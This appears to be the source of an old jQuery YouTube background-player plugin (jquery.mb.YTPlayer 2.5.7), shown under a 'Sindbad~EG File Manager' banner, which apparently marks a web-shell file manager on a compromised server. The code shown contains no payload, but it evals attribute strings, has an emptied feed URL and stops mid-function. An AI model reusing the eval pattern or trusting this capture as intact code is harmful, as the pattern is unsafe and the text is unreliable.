Sindbad~EG File Manager
/*
* ******************************************************************************
* jquery.mb.components
* file: jquery.mb.YTPlayer.js
*
* Copyright (c) 2001-2013. Matteo Bicocchi (Pupunzi);
* Open lab srl, Firenze - Italy
* email: matteo@open-lab.com
* site: http://pupunzi.com
* blog: http://pupunzi.open-lab.com
* http://open-lab.com
*
* Licences: MIT, GPL
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
* last modified: 02/10/13 22.42
* *****************************************************************************
*/
/*Browser detection patch*/
(function(){if(!(8>jQuery.fn.jquery.split(".")[1])){jQuery.browser={};jQuery.browser.mozilla=!1;jQuery.browser.webkit=!1;jQuery.browser.opera=!1;jQuery.browser.msie=!1;var a=navigator.userAgent;jQuery.browser.name=navigator.appName;jQuery.browser.fullVersion=""+parseFloat(navigator.appVersion);jQuery.browser.majorVersion=parseInt(navigator.appVersion,10);var c,b;if(-1!=(b=a.indexOf("Opera"))){if(jQuery.browser.opera=!0,jQuery.browser.name="Opera",jQuery.browser.fullVersion=a.substring(b+6),-1!=(b= a.indexOf("Version")))jQuery.browser.fullVersion=a.substring(b+8)}else if(-1!=(b=a.indexOf("MSIE")))jQuery.browser.msie=!0,jQuery.browser.name="Microsoft Internet Explorer",jQuery.browser.fullVersion=a.substring(b+5);else if(-1!=(b=a.indexOf("Chrome")))jQuery.browser.webkit=!0,jQuery.browser.name="Chrome",jQuery.browser.fullVersion=a.substring(b+7);else if(-1!=(b=a.indexOf("Safari"))){if(jQuery.browser.webkit=!0,jQuery.browser.name="Safari",jQuery.browser.fullVersion=a.substring(b+7),-1!=(b=a.indexOf("Version")))jQuery.browser.fullVersion= a.substring(b+8)}else if(-1!=(b=a.indexOf("Firefox")))jQuery.browser.mozilla=!0,jQuery.browser.name="Firefox",jQuery.browser.fullVersion=a.substring(b+8);else if((c=a.lastIndexOf(" ")+1)<(b=a.lastIndexOf("/")))jQuery.browser.name=a.substring(c,b),jQuery.browser.fullVersion=a.substring(b+1),jQuery.browser.name.toLowerCase()==jQuery.browser.name.toUpperCase()&&(jQuery.browser.name=navigator.appName);if(-1!=(a=jQuery.browser.fullVersion.indexOf(";")))jQuery.browser.fullVersion=jQuery.browser.fullVersion.substring(0, a);if(-1!=(a=jQuery.browser.fullVersion.indexOf(" ")))jQuery.browser.fullVersion=jQuery.browser.fullVersion.substring(0,a);jQuery.browser.majorVersion=parseInt(""+jQuery.browser.fullVersion,10);isNaN(jQuery.browser.majorVersion)&&(jQuery.browser.fullVersion=""+parseFloat(navigator.appVersion),jQuery.browser.majorVersion=parseInt(navigator.appVersion,10));jQuery.browser.version=jQuery.browser.majorVersion}})(jQuery);
/*******************************************************************************
* jQuery.mb.components: jquery.mb.CSSAnimate
******************************************************************************/
jQuery.fn.CSSAnimate=function(a,b,k,l,f){return this.each(function(){var c=jQuery(this);if(0!==c.length&&a){"function"==typeof b&&(f=b,b=jQuery.fx.speeds._default);"function"==typeof k&&(f=k,k=0);"function"==typeof l&&(f=l,l="cubic-bezier(0.65,0.03,0.36,0.72)");if("string"==typeof b)for(var j in jQuery.fx.speeds)if(b==j){b=jQuery.fx.speeds[j];break}else b=null;if(jQuery.support.transition){var e="",h="transitionEnd";jQuery.browser.webkit?(e="-webkit-",h="webkitTransitionEnd"):jQuery.browser.mozilla? (e="-moz-",h="transitionend"):jQuery.browser.opera?(e="-o-",h="otransitionend"):jQuery.browser.msie&&(e="-ms-",h="msTransitionEnd");j=[];for(d in a){var g=d;"transform"===g&&(g=e+"transform",a[g]=a[d],delete a[d]);"transform-origin"===g&&(g=e+"transform-origin",a[g]=a[d],delete a[d]);j.push(g);c.css(g)||c.css(g,0)}d=j.join(",");c.css(e+"transition-property",d);c.css(e+"transition-duration",b+"ms");c.css(e+"transition-delay",k+"ms");c.css(e+"transition-timing-function",l);c.css(e+"backface-visibility", "hidden");setTimeout(function(){c.css(a)},0);setTimeout(function(){c.called||!f?c.called=!1:f()},b+20);c.on(h,function(a){c.off(h);c.css(e+"transition","");a.stopPropagation();"function"==typeof f&&(c.called=!0,f());return!1})}else{for(var d in a)"transform"===d&&delete a[d],"transform-origin"===d&&delete a[d],"auto"===a[d]&&delete a[d];if(!f||"string"===typeof f)f="linear";c.animate(a,b,f)}}})}; jQuery.fn.CSSAnimateStop=function(){var a="",b="transitionEnd";jQuery.browser.webkit?(a="-webkit-",b="webkitTransitionEnd"):jQuery.browser.mozilla?(a="-moz-",b="transitionend"):jQuery.browser.opera?(a="-o-",b="otransitionend"):jQuery.browser.msie&&(a="-ms-",b="msTransitionEnd");jQuery(this).css(a+"transition","");jQuery(this).off(b)}; jQuery.support.transition=function(){var a=(document.body||document.documentElement).style;return void 0!==a.transition||void 0!==a.WebkitTransition||void 0!==a.MozTransition||void 0!==a.MsTransition||void 0!==a.OTransition}();
/*
* Metadata - jQuery plugin for parsing metadata from elements
* Copyright (c) 2006 John Resig, Yehuda Katz, Jörn Zaefferer, Paul McLanahan
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*/
(function(c){c.extend({metadata:{defaults:{type:"class",name:"metadata",cre:/({.*})/,single:"metadata"},setType:function(b,c){this.defaults.type=b;this.defaults.name=c},get:function(b,f){var d=c.extend({},this.defaults,f);d.single.length||(d.single="metadata");var a=c.data(b,d.single);if(a)return a;a="{}";if("class"==d.type){var e=d.cre.exec(b.className);e&&(a=e[1])}else if("elem"==d.type){if(!b.getElementsByTagName)return;e=b.getElementsByTagName(d.name);e.length&&(a=c.trim(e[0].innerHTML))}else void 0!= b.getAttribute&&(e=b.getAttribute(d.name))&&(a=e);0>a.indexOf("{")&&(a="{"+a+"}");a=eval("("+a+")");c.data(b,d.single,a);return a}}});c.fn.metadata=function(b){return c.metadata.get(this[0],b)}})(jQuery);
/***************************************************************************************/
if(typeof ytp != "object")
ytp ={};
String.prototype.getVideoID=function(){
var movieURL;
movieURL = this;
return movieURL;
};
var isDevice = 'ontouchstart' in window;
function onYouTubePlayerAPIReady() {
if(ytp.YTAPIReady)
return;
ytp.YTAPIReady=true;
jQuery(document).trigger("YTAPIReady");
}
(function (jQuery) {
jQuery.mbYTPlayer = {
name : "jquery.mb.YTPlayer",
version : "2.5.7",
author : "Matteo Bicocchi",
defaults : {
containment : "body",
ratio : "16/9",
showYTLogo : false,
videoURL : null,
startAt : 0,
autoPlay : true,
vol :100,
addRaster : false,
opacity : 1,
quality : "default", //or “small”, “medium”, “large”, “hd720”, “hd1080”, “highres”
mute : false,
loop : true,
showControls : true,
showAnnotations : false,
printUrl : true,
stopMovieOnClick :false,
realfullscreen :true,
onReady : function (player) {},
onStateChange : function (player) {},
onPlaybackQualityChange: function (player) {},
onError : function (player) {}
},
//todo: use @font-face instead
controls : {
play : "P",
pause : "p",
mute : "M",
unmute: "A",
onlyYT: "O",
showSite: "R",
ytLogo: "Y"
},
rasterImg : "images/raster.png",
rasterImgRetina: "images/raster@2x.png",
buildPlayer: function (options) {
return this.each(function () {
var YTPlayer = this;
var $YTPlayer = jQuery(YTPlayer);
YTPlayer.loop = 0;
YTPlayer.opt = {};
var property = {};
$YTPlayer.addClass("mb_YTVPlayer");
if (jQuery.metadata) {
jQuery.metadata.setType("class");
property = $YTPlayer.metadata();
}
if (jQuery.isEmptyObject(property))
property = $YTPlayer.data("property") && typeof $YTPlayer.data("property") == "string" ? eval('(' + $YTPlayer.data("property") + ')') : $YTPlayer.data("property");
jQuery.extend(YTPlayer.opt, jQuery.mbYTPlayer.defaults, options, property);
var canGoFullscreen = !(jQuery.browser.msie || jQuery.browser.opera || self.location.href != top.location.href);
if(!canGoFullscreen)
YTPlayer.opt.realfullscreen = false;
if (!$YTPlayer.attr("id"))
$YTPlayer.attr("id", "id_" + new Date().getTime());
YTPlayer.opt.id = YTPlayer.id;
YTPlayer.isAlone = false;
/*to maintain back compatibility
* ***********************************************************/
if (YTPlayer.opt.isBgndMovie)
YTPlayer.opt.containment = "body";
if (YTPlayer.opt.isBgndMovie && YTPlayer.opt.isBgndMovie.mute != undefined)
YTPlayer.opt.mute = YTPlayer.opt.isBgndMovie.mute;
/************************************************************/
if (!YTPlayer.opt.videoURL)
YTPlayer.opt.videoURL = $YTPlayer.attr("href");
var playerID = "mbYTP_" + YTPlayer.id;
var videoID = this.opt.videoURL ? this.opt.videoURL.getVideoID() : $YTPlayer.attr("href") ? $YTPlayer.attr("href").getVideoID() : false;
YTPlayer.videoID = videoID;
YTPlayer.opt.showAnnotations = (YTPlayer.opt.showAnnotations) ? '0' : '3';
var playerVars = { 'autoplay': 0, 'modestbranding': 1, 'controls': 0, 'showinfo': 0, 'rel': 0, 'enablejsapi': 1, 'version': 3, 'playerapiid': playerID, 'origin': '*', 'allowfullscreen': true, 'wmode': "transparent", 'iv_load_policy': YTPlayer.opt.showAnnotations};
var canPlayHTML5 = false;
var v = document.createElement('video');
if (v.canPlayType ) { // && !jQuery.browser.msie
canPlayHTML5 = true;
}
if (canPlayHTML5) // && !(YTPlayer.isPlayList && jQuery.browser.msie)
jQuery.extend(playerVars, {'html5': 1});
if(jQuery.browser.msie && jQuery.browser.version < 9 ){
this.opt.opacity = 1;
}
var playerBox = jQuery("<div/>").attr("id", playerID).addClass("playerBox");
var overlay = jQuery("<div/>").css({position: "absolute", top: 0, left: 0, width: "100%", height: "100%"}).addClass("YTPOverlay"); //YTPlayer.isBackground ? "fixed" :
YTPlayer.opt.containment = YTPlayer.opt.containment == "self" ? jQuery(this) : jQuery(YTPlayer.opt.containment);
YTPlayer.isBackground = YTPlayer.opt.containment.get(0).tagName.toLowerCase() == "body";
if (isDevice && YTPlayer.isBackground){
$YTPlayer.hide();
return;
}
if (YTPlayer.opt.addRaster) {
var retina = (window.retina || window.devicePixelRatio > 1);
overlay.addClass(retina ? "raster retina" : "raster");
}else{
overlay.removeClass("raster retina");
}
var wrapper = jQuery("<div/>").addClass("mbYTP_wrapper").attr("id", "wrapper_" + playerID);
wrapper.css({position: "absolute", zIndex: 0, minWidth: "100%", minHeight: "100%",left:0, top:0, overflow: "hidden", opacity: 0});
playerBox.css({position: "absolute", zIndex: 0, width: "100%", height: "100%", top: 0, left: 0, overflow: "hidden", opacity: this.opt.opacity});
wrapper.append(playerBox);
if (YTPlayer.isBackground && ytp.isInit)
return;
YTPlayer.opt.containment.children().each(function () {
if (jQuery(this).css("position") == "static")
jQuery(this).css("position", "relative");
});
if (YTPlayer.isBackground) {
jQuery("body").css({position: "relative", minWidth: "100%", minHeight: "100%", zIndex: 1, boxSizing: "border-box"});
wrapper.css({position: "fixed", top: 0, left: 0, zIndex: 0});
$YTPlayer.hide();
YTPlayer.opt.containment.prepend(wrapper);
} else
YTPlayer.opt.containment.prepend(wrapper);
YTPlayer.wrapper = wrapper;
playerBox.css({opacity: 1});
if (!isDevice){
playerBox.after(overlay);
YTPlayer.overlay = overlay;
}
if(!YTPlayer.isBackground){
overlay.on("mouseenter",function(){
$YTPlayer.find(".mb_YTVPBar").addClass("visible");
}).on("mouseleave",function(){
$YTPlayer.find(".mb_YTVPBar").removeClass("visible");
})
}
jQuery(document).on("YTAPIReady", function () {
if ((YTPlayer.isBackground && ytp.isInit) || YTPlayer.opt.isInit)
return;
if(YTPlayer.isBackground && YTPlayer.opt.stopMovieOnClick)
jQuery(document).off("mousedown.ytplayer").on("mousedown,.ytplayer",function(e){
var target = jQuery(e.target);
if(target.is("a") || target.parents().is("a")){
$YTPlayer.pauseYTP();
}
});
if (YTPlayer.isBackground)
ytp.isInit = true;
YTPlayer.opt.isInit = true;
YTPlayer.opt.vol = YTPlayer.opt.vol ? YTPlayer.opt.vol : 100;
jQuery.mbYTPlayer.getDataFromFeed(YTPlayer.videoID, YTPlayer);
jQuery(document).on("getVideoInfo_" + YTPlayer.opt.id, function () {
if(isDevice && !YTPlayer.isBackground){
new YT.Player(playerID, {
height: '100%',
width: '100%',
videoId: YTPlayer.videoID,
events: {
'onReady': function(){
$YTPlayer.optimizeDisplay();
playerBox.css({opacity: 1});
YTPlayer.wrapper.css({opacity: 1});
$YTPlayer.optimizeDisplay();
},
'onStateChange': function(){}
}
});
return;
}
new YT.Player(playerID, {
videoId : YTPlayer.videoID.toString(),
playerVars: playerVars,
events : {
'onReady': function (event) {
YTPlayer.player = event.target;
if(YTPlayer.isReady)
return;
YTPlayer.isReady = true;
YTPlayer.playerEl = YTPlayer.player.getIframe();
$YTPlayer.optimizeDisplay();
YTPlayer.videoID = videoID;
jQuery(window).on("resize.YTP",function () {
$YTPlayer.optimizeDisplay();
});
if (YTPlayer.opt.showControls)
jQuery(YTPlayer).buildYTPControls();
//YTPlayer.player.setPlaybackQuality(YTPlayer.opt.quality);
if (YTPlayer.opt.startAt > 0)
YTPlayer.player.seekTo(parseFloat(YTPlayer.opt.startAt), true);
if (!YTPlayer.opt.autoPlay) {
$YTPlayer.stopYTP();
YTPlayer.checkForStartAt = setInterval(function () {
if (YTPlayer.player.getCurrentTime() >= YTPlayer.opt.startAt) {
clearInterval(YTPlayer.checkForStartAt);
$YTPlayer.pauseYTP();
if (YTPlayer.opt.mute) {
jQuery(YTPlayer).muteYTPVolume();
}else{
jQuery(YTPlayer).unmuteYTPVolume();
}
}
}, 1);
} else {
$YTPlayer.playYTP();
YTPlayer.player.setVolume(YTPlayer.opt.vol);
if (YTPlayer.opt.mute) {
jQuery(YTPlayer).muteYTPVolume();
}else{
jQuery(YTPlayer).unmuteYTPVolume();
}
}
if (typeof YTPlayer.opt.onReady == "function")
YTPlayer.opt.onReady($YTPlayer);
jQuery.mbYTPlayer.checkForState(YTPlayer);
},
'onStateChange' : function (event) {
/*
-1 (unstarted)
0 (ended)
1 (playing)
2 (paused)
3 (buffering)
5 (video cued).
*/
if (typeof event.target.getPlayerState != "function")
return;
var state = event.target.getPlayerState();
if (typeof YTPlayer.opt.onStateChange == "function")
YTPlayer.opt.onStateChange($YTPlayer, state);
var playerBox = jQuery(YTPlayer.playerEl);
var controls = jQuery("#controlBar_" + YTPlayer.id);
var data = YTPlayer.opt;
if (state == 0) { // end
if (YTPlayer.state == state)
return;
YTPlayer.state = state;
YTPlayer.player.pauseVideo();
var startAt = YTPlayer.opt.startAt ? YTPlayer.opt.startAt : 1;
if (data.loop) {
YTPlayer.wrapper.css({opacity: 0});
$YTPlayer.playYTP();
YTPlayer.player.seekTo(startAt,true);
} else if (!YTPlayer.isBackground) {
YTPlayer.player.seekTo(startAt, true);
$YTPlayer.playYTP();
setTimeout(function () {
$YTPlayer.pauseYTP();
}, 10);
}
if (!data.loop && YTPlayer.isBackground)
YTPlayer.wrapper.CSSAnimate({opacity: 0}, 2000);
else if (data.loop) {
YTPlayer.wrapper.css({opacity: 0});
YTPlayer.loop++;
}
controls.find(".mb_YTVPPlaypause").html(jQuery.mbYTPlayer.controls.play);
jQuery(YTPlayer).trigger("YTPEnd");
}
if (state == 3) { // buffering
if (YTPlayer.state == state)
return;
YTPlayer.state = state;
controls.find(".mb_YTVPPlaypause").html(jQuery.mbYTPlayer.controls.play);
jQuery(YTPlayer).trigger("YTPBuffering");
}
if (state == -1) { // unstarted
if (YTPlayer.state == state)
return;
YTPlayer.state = state;
YTPlayer.wrapper.css({opacity:0});
jQuery(YTPlayer).trigger("YTPUnstarted");
}
if (state == 1) { // play
if (YTPlayer.state == state)
return;
YTPlayer.state = state;
YTPlayer.player.setPlaybackQuality(YTPlayer.opt.quality);
if(YTPlayer.opt.mute){
$YTPlayer.muteYTPVolume();
YTPlayer.opt.mute = false;
}
if (YTPlayer.opt.autoPlay && YTPlayer.loop == 0) {
YTPlayer.wrapper.CSSAnimate({opacity: YTPlayer.isAlone ? 1 : YTPlayer.opt.opacity}, 2000);
} else if(!YTPlayer.isBackground) {
YTPlayer.wrapper.css({opacity: YTPlayer.isAlone ? 1 : YTPlayer.opt.opacity});
$YTPlayer.css({background: "rgba(0,0,0,0.5)"});
}else{
setTimeout(function () {
jQuery(YTPlayer.playerEl).CSSAnimate({opacity: 1}, 2000);
YTPlayer.wrapper.CSSAnimate({opacity: YTPlayer.opt.opacity}, 2000);
}, 1000);
}
controls.find(".mb_YTVPPlaypause").html(jQuery.mbYTPlayer.controls.pause);
jQuery(YTPlayer).trigger("YTPStart");
}
if (state == 2) { // pause
if (YTPlayer.state == state)
return;
YTPlayer.state = state;
controls.find(".mb_YTVPPlaypause").html(jQuery.mbYTPlayer.controls.play);
jQuery(YTPlayer).trigger("YTPPause");
}
},
'onPlaybackQualityChange': function (e) {
if (typeof YTPlayer.opt.onPlaybackQualityChange == "function")
YTPlayer.opt.onPlaybackQualityChange($YTPlayer);
},
'onError' : function (err) {
if(err.data == 2 && YTPlayer.isPlayList)
jQuery(YTPlayer).playNext();
if (typeof YTPlayer.opt.onError == "function")
YTPlayer.opt.onError($YTPlayer, err);
}
}
});
});
})
});
},
getDataFromFeed: function (videoID, YTPlayer) {
//Get video info from FEEDS API
YTPlayer.videoID = videoID;
if (!jQuery.browser.msie) { //!(jQuery.browser.msie && jQuery.browser.version<9)
jQuery.getJSON('' + videoID + '', function (data, status, xhr) {
YTPlayer.dataReceived = true;
var videoData = data.data;
YTPlayer.title = videoData.title;
YTPlayer.videoData = videoData;
if (YTPlayer.opt.ratio == "auto")
if (videoData.aspectRatio && videoData.aspectRatio === "widescreen")
YTPlayer.opt.ratio = "16/9";
else
YTPlayer.opt.ratio = "4/3";
if(!YTPlayer.isInit){
YTPlayer.isInit = true;
if (!YTPlayer.isBackground) {
var bgndURL = YTPlayer.videoData.thumbnail.hqDefault;
jQuery(YTPlayer).css({background: "rgba(0,0,0,0.5) url(" + bgndURL + ") center center", backgroundSize: "cover"});
}
jQuery(document).trigger("getVideoInfo_" + YTPlayer.opt.id);
}
jQuery(YTPlayer).trigger("YTPChanged");
});
setTimeout(function(){
if(!YTPlayer.dataReceived && !YTPlayer.isInit){
YTPlayer.isInit = true;
jQuery(document).trigger("getVideoInfo_" + YTPlayer.opt.id);
}
},2500)
} else {
YTPlayer.opt.ratio == "auto" ? YTPlayer.opt.ratio = "16/9" : YTPlayer.opt.ratio;
if(!YTPlayer.isInit){
YTPlayer.isInit = true;
setTimeout(function(){
jQuery(document).trigger("getVideoInfo_" + YTPlayer.opt.id);
},100)
}
jQuery(YTPlayer).trigger("YTPChanged");
}
},
getVideoID: function(){
var YTPlayer = this.get(0);
return YTPlayer.videoID || false ;
},
setVideoQuality: function(quality){
var YTPlayer = this.get(0);
YTPlayer.player.setPlaybackQuality(quality);
},
YTPlaylist : function(videos, shuffle, callback){
var YTPlayer = this.get(0);
YTPlayer.isPlayList = true;
if(shuffle)
videos = jQuery.shuffle(videos);
if(!YTPlayer.videoID){
YTPlayer.videos = videos;
YTPlayer.videoCounter = 0;
YTPlayer.videoLength = videos.length;
jQuery(YTPlayer).data("property", videos[0]);
jQuery(YTPlayer).mb_YTPlayer();
}
if(typeof callback == "function")
jQuery(YTPlayer).on("YTPChanged",function(){
callback(YTPlayer);
});
jQuery(YTPlayer).on("YTPEnd", function(){
jQuery(YTPlayer).playNext();
});
},
playNext: function(){
var YTPlayer = this.get(0);
YTPlayer.videoCounter++;
if(YTPlayer.videoCounter>=YTPlayer.videoLength)
YTPlayer.videoCounter = 0;
jQuery(YTPlayer.playerEl).css({opacity:0});
jQuery(YTPlayer).changeMovie(YTPlayer.videos[YTPlayer.videoCounter]);
},
changeMovie: function (opt) {
var YTPlayer = this.get(0);
var data = YTPlayer.opt;
if (opt) {
jQuery.extend(data, opt);
}
YTPlayer.videoID = data.videoURL.getVideoID();
jQuery(YTPlayer).pauseYTP();
var timer = jQuery.browser.msie ? 1000 : 0;
jQuery(YTPlayer).getPlayer().cueVideoByUrl(encodeURI("http://www.youtube.com/v/" + YTPlayer.videoID) , 5 , YTPlayer.opt.quality);
setTimeout(function(){
jQuery(YTPlayer).playYTP();
jQuery(YTPlayer).one("YTPStart", function(){
jQuery(YTPlayer.playerEl).CSSAnimate({opacity:1},2000);
});
},timer)
if (YTPlayer.opt.mute) {
jQuery(YTPlayer).muteYTPVolume();
}else{
jQuery(YTPlayer).unmuteYTPVolume();
}
if (YTPlayer.opt.addRaster) {
var retina = (window.retina || window.devicePixelRatio > 1);
YTPlayer.overlay.addClass(retina ? "raster retina" : "raster");
}else{
YTPlayer.overlay.removeClass("raster");
YTPlayer.overlay.removeClass("retina");
}
jQuery("#controlBar_" + YTPlayer.id).remove();
if (YTPlayer.opt.showControls)
jQuery(YTPlayer).buildYTPControls();
jQuery.mbYTPlayer.getDataFromFeed(YTPlayer.videoID, YTPlayer);
jQuery(YTPlayer).optimizeDisplay();
jQuery.mbYTPlayer.checkForState(YTPlayer);
},
getPlayer: function () {
return jQuery(this).get(0).player;
},
playerDestroy: function () {
var YTPlayer = this.get(0);
ytp.YTAPIReady = false;
ytp.isInit = false;
YTPlayer.opt.isInit = false;
YTPlayer.videoID = null;
var playerBox = YTPlayer.wrapper;
playerBox.remove();
jQuery("#controlBar_" + YTPlayer.id).remove();
},
fullscreen: function(real) {
var YTPlayer = this.get(0);
var controls = jQuery("#controlBar_" + YTPlayer.id);
var fullScreenBtn = controls.find(".mb_OnlyYT");
var videoWrapper = jQuery(YTPlayer.wrapper);
if(real){
var fullscreenchange = jQuery.browser.mozilla ? "mozfullscreenchange" : jQuery.browser.webkit ? "webkitfullscreenchange" : "fullscreenchange";
jQuery(document).off(fullscreenchange);
jQuery(document).on(fullscreenchange, function() {
var isFullScreen = RunPrefixMethod(document, "IsFullScreen") || RunPrefixMethod(document, "FullScreen");
if (!isFullScreen) {
jQuery(YTPlayer).removeClass("fullscreen");
YTPlayer.isAlone = false;
fullScreenBtn.html(jQuery.mbYTPlayer.controls.onlyYT)
jQuery(YTPlayer).setVideoQuality(YTPlayer.opt.quality);
if (YTPlayer.isBackground){
jQuery("body").after(controls);
}else{
YTPlayer.wrapper.before(controls);
}
}else{
jQuery(YTPlayer).setVideoQuality("default");
}
});
}
if (!YTPlayer.isAlone) {
if (YTPlayer.player.getPlayerState() >= 1) {
if(YTPlayer.player.getPlayerState() != 1 && YTPlayer.player.getPlayerState() != 2)
jQuery(YTPlayer).playYTP();
if(real){
YTPlayer.wrapper.append(controls);
jQuery(YTPlayer).addClass("fullscreen");
launchFullscreen(videoWrapper.get(0));
} else
videoWrapper.css({zIndex: 10000}).CSSAnimate({opacity: 1}, 1000, 0);
jQuery(YTPlayer).trigger("YTPFullScreenStart");
fullScreenBtn.html(jQuery.mbYTPlayer.controls.showSite)
YTPlayer.isAlone = true;
}
} else {
if(real){
cancelFullscreen();
} else{
videoWrapper.CSSAnimate({opacity: YTPlayer.opt.opacity}, 500);
}
jQuery(YTPlayer).trigger("YTPFullScreenEnd");
videoWrapper.css({zIndex: -1});
fullScreenBtn.html(jQuery.mbYTPlayer.controls.onlyYT)
YTPlayer.isAlone = false;
}
function RunPrefixMethod(obj, method) {
var pfx = ["webkit", "moz", "ms", "o", ""];
var p = 0, m, t;
while (p < pfx.length && !obj[m]) {
m = method;
if (pfx[p] == "") {
m = m.substr(0,1).toLowerCase() + m.substr(1);
}
m = pfx[p] + m;
t = typeof obj[m];
if (t != "undefined") {
pfx = [pfx[p]];
return (t == "function" ? obj[m]() : obj[m]);
}
p++;
}
}
function launchFullscreen(element) {
RunPrefixMethod(element, "RequestFullScreen");
}
function cancelFullscreen() {
if (RunPrefixMethod(document, "FullScreen") || RunPrefixMethod(document, "IsFullScreen")) {
RunPrefixMethod(document, "CancelFullScreen");
}
}
},
playYTP: function () {
var YTPlayer = this.get(0);
var controls = jQuery("#controlBar_" + YTPlayer.id);
var playBtn = controls.find(".mb_YTVPPlaypause");
playBtn.html(jQuery.mbYTPlayer.controls.pause);
YTPlayer.player.playVideo();
YTPlayer.wrapper.CSSAnimate({opacity: YTPlayer.opt.opacity}, 2000);
$(YTPlayer).on("YTPStart", function(){
jQuery(YTPlayer).css("background", "none");
})
},
toggleLoops: function () {
var YTPlayer = this.get(0);
var data = YTPlayer.opt;
if (data.loop == 1) {
data.loop = 0;
} else {
if(data.startAt) {
YTPlayer.player.seekTo(data.startAt);
} else {
YTPlayer.player.playVideo();
}
data.loop = 1;
}
},
stopYTP: function () {
var YTPlayer = this.get(0);
var controls = jQuery("#controlBar_" + YTPlayer.id);
var playBtn = controls.find(".mb_YTVPPlaypause");
playBtn.html(jQuery.mbYTPlayer.controls.play);
YTPlayer.player.stopVideo();
},
pauseYTP: function () {
var YTPlayer = this.get(0);
var data = YTPlayer.opt;
var controls = jQuery("#controlBar_" + YTPlayer.id);
var playBtn = controls.find(".mb_YTVPPlaypause");
playBtn.html(jQuery.mbYTPlayer.controls.play);
YTPlayer.player.pauseVideo();
},
seekToYTP: function(val) {
var YTPlayer = this.get(0);
YTPlayer.player.seekTo(val,true);
},
setYTPVolume: function (val) {
var YTPlayer = this.get(0);
if (!val && !YTPlayer.opt.vol && player.getVolume() == 0)
jQuery(YTPlayer).unmuteYTPVolume();
else if ((!val && YTPlayer.player.getVolume() > 0) || (val && YTPlayer.player.getVolume() == val))
jQuery(YTPlayer).muteYTPVolume();
else
YTPlayer.opt.vol = val;
YTPlayer.player.setVolume(YTPlayer.opt.vol);
},
muteYTPVolume: function () {
var YTPlayer = this.get(0);
YTPlayer.opt.vol = YTPlayer.player.getVolume() || 50;
YTPlayer.player.mute();
YTPlayer.player.setVolume(0);
var controls = jQuery("#controlBar_" + YTPlayer.id);
var muteBtn = controls.find(".mb_YTVPMuteUnmute");
muteBtn.html(jQuery.mbYTPlayer.controls.unmute);
},
unmuteYTPVolume: function () {
var YTPlayer = this.get(0);
YTPlayer.player.unMute();
YTPlayer.player.setVolume(YTPlayer.opt.vol);
var controls = jQuery("#controlBar_" + YTPlayer.id);
var muteBtn = controls.find(".mb_YTVPMuteUnmute");
muteBtn.html(jQuery.mbYTPlayer.controls.mute);
},
manageYTPProgress: function () {
var YTPlayer = this.get(0);
var controls = jQuery("#controlBar_" + YTPlayer.id);
var progressBar = controls.find(".mb_YTVPProgress");
var loadedBar = controls.find(".mb_YTVPLoaded");
var timeBar = controls.find(".mb_YTVTime");
var totW = progressBar.outerWidth();
var currentTime = Math.floor(YTPlayer.player.getCurrentTime());
var totalTime = Math.floor(YTPlayer.player.getDuration());
var timeW = (currentTime * totW) / totalTime;
var startLeft = 0;
var loadedW = YTPlayer.player.getVideoLoadedFraction() * 100;
loadedBar.css({left: startLeft, width: loadedW + "%"});
timeBar.css({left: 0, width: timeW});
return {totalTime: totalTime, currentTime: currentTime};
},
buildYTPControls: function () {
var YTPlayer = this.get(0);
var data = YTPlayer.opt;
if(jQuery("#controlBar_"+ YTPlayer.id).length)
return;
var controlBar = jQuery("<span/>").attr("id", "controlBar_" + YTPlayer.id).addClass("mb_YTVPBar").css({whiteSpace: "noWrap", position: YTPlayer.isBackground ? "fixed" : "absolute", zIndex: YTPlayer.isBackground ? 10000 : 1000}).hide();
var buttonBar = jQuery("<div/>").addClass("buttonBar");
var playpause = jQuery("<span>" + jQuery.mbYTPlayer.controls.play + "</span>").addClass("mb_YTVPPlaypause ytpicon").click(function () {
if (YTPlayer.player.getPlayerState() == 1)
jQuery(YTPlayer).pauseYTP();
else
jQuery(YTPlayer).playYTP();
});
var MuteUnmute = jQuery("<span>" + jQuery.mbYTPlayer.controls.mute + "</span>").addClass("mb_YTVPMuteUnmute ytpicon").click(function () {
if (YTPlayer.player.getVolume()==0) {
jQuery(YTPlayer).unmuteYTPVolume();
} else {
jQuery(YTPlayer).muteYTPVolume();
}
});
var idx = jQuery("<span/>").addClass("mb_YTVPTime");
var vURL = data.videoURL;
if(vURL.indexOf("http") < 0)
vURL = "http://www.youtube.com/watch?v="+data.videoURL;
var movieUrl = jQuery("<span/>").html(jQuery.mbYTPlayer.controls.ytLogo).addClass("mb_YTVPUrl ytpicon").attr("title", "view on YouTube").on("click", function () {window.open(vURL, "viewOnYT")});
var onlyVideo = jQuery("<span/>").html(jQuery.mbYTPlayer.controls.onlyYT).addClass("mb_OnlyYT ytpicon").on("click",function () {jQuery(YTPlayer).fullscreen(data.realfullscreen);});
var progressBar = jQuery("<div/>").addClass("mb_YTVPProgress").css("position", "absolute").click(function (e) {
timeBar.css({width: (e.clientX - timeBar.offset().left)});
YTPlayer.timeW = e.clientX - timeBar.offset().left;
controlBar.find(".mb_YTVPLoaded").css({width: 0});
var totalTime = Math.floor(YTPlayer.player.getDuration());
YTPlayer.goto = (timeBar.outerWidth() * totalTime) / progressBar.outerWidth();
YTPlayer.player.seekTo(parseFloat(YTPlayer.goto), true);
controlBar.find(".mb_YTVPLoaded").css({width: 0});
});
var loadedBar = jQuery("<div/>").addClass("mb_YTVPLoaded").css("position", "absolute");
var timeBar = jQuery("<div/>").addClass("mb_YTVTime").css("position", "absolute");
progressBar.append(loadedBar).append(timeBar);
buttonBar.append(playpause).append(MuteUnmute).append(idx);
if (data.printUrl){
buttonBar.append(movieUrl);
}
if (YTPlayer.isBackground || (YTPlayer.opt.realfullscreen && !YTPlayer.isBackground))
buttonBar.append(onlyVideo);
controlBar.append(buttonBar).append(progressBar);
if (!YTPlayer.isBackground) {
controlBar.addClass("inlinePlayer");
YTPlayer.wrapper.before(controlBar);
} else {
jQuery("body").after(controlBar);
}
controlBar.fadeIn();
},
checkForState:function(YTPlayer){
var controlBar = jQuery("#controlBar_" + YTPlayer.id);
var data = YTPlayer.opt;
var startAt = YTPlayer.opt.startAt ? YTPlayer.opt.startAt : 1;
YTPlayer.getState = setInterval(function () {
var prog = jQuery(YTPlayer).manageYTPProgress();
controlBar.find(".mb_YTVPTime").html(jQuery.mbYTPlayer.formatTime(prog.currentTime) + " / " + jQuery.mbYTPlayer.formatTime(prog.totalTime));
